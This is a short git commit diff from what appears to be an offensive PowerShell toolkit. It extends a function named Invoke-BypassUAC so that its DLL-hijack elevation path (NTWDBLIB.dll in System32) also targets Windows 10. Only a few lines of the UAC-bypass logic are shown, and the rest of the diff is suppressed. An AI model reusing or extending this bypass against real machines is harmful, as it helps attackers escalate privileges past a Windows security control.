updated to support win10

1.6
enigma0x3 2015-09-04 21:20:30 -04:00
parent 629c8f695c
commit eaedd354c7
2 changed files with 612 additions and 2 deletions

View File

@ -552,7 +552,7 @@ function Invoke-BypassUAC
$szTempDllPath = $TempPayloadPath
Write-Verbose "Windows 7/2008 detected"
}
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3")) {
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3") -or ($OSVersion -eq "10.0")) {
# windows 8/2012
$szElevDll = 'NTWDBLIB.dll'
$szElevDir = $env:WINDIR + "\System32"

File diff suppressed because one or more lines are too long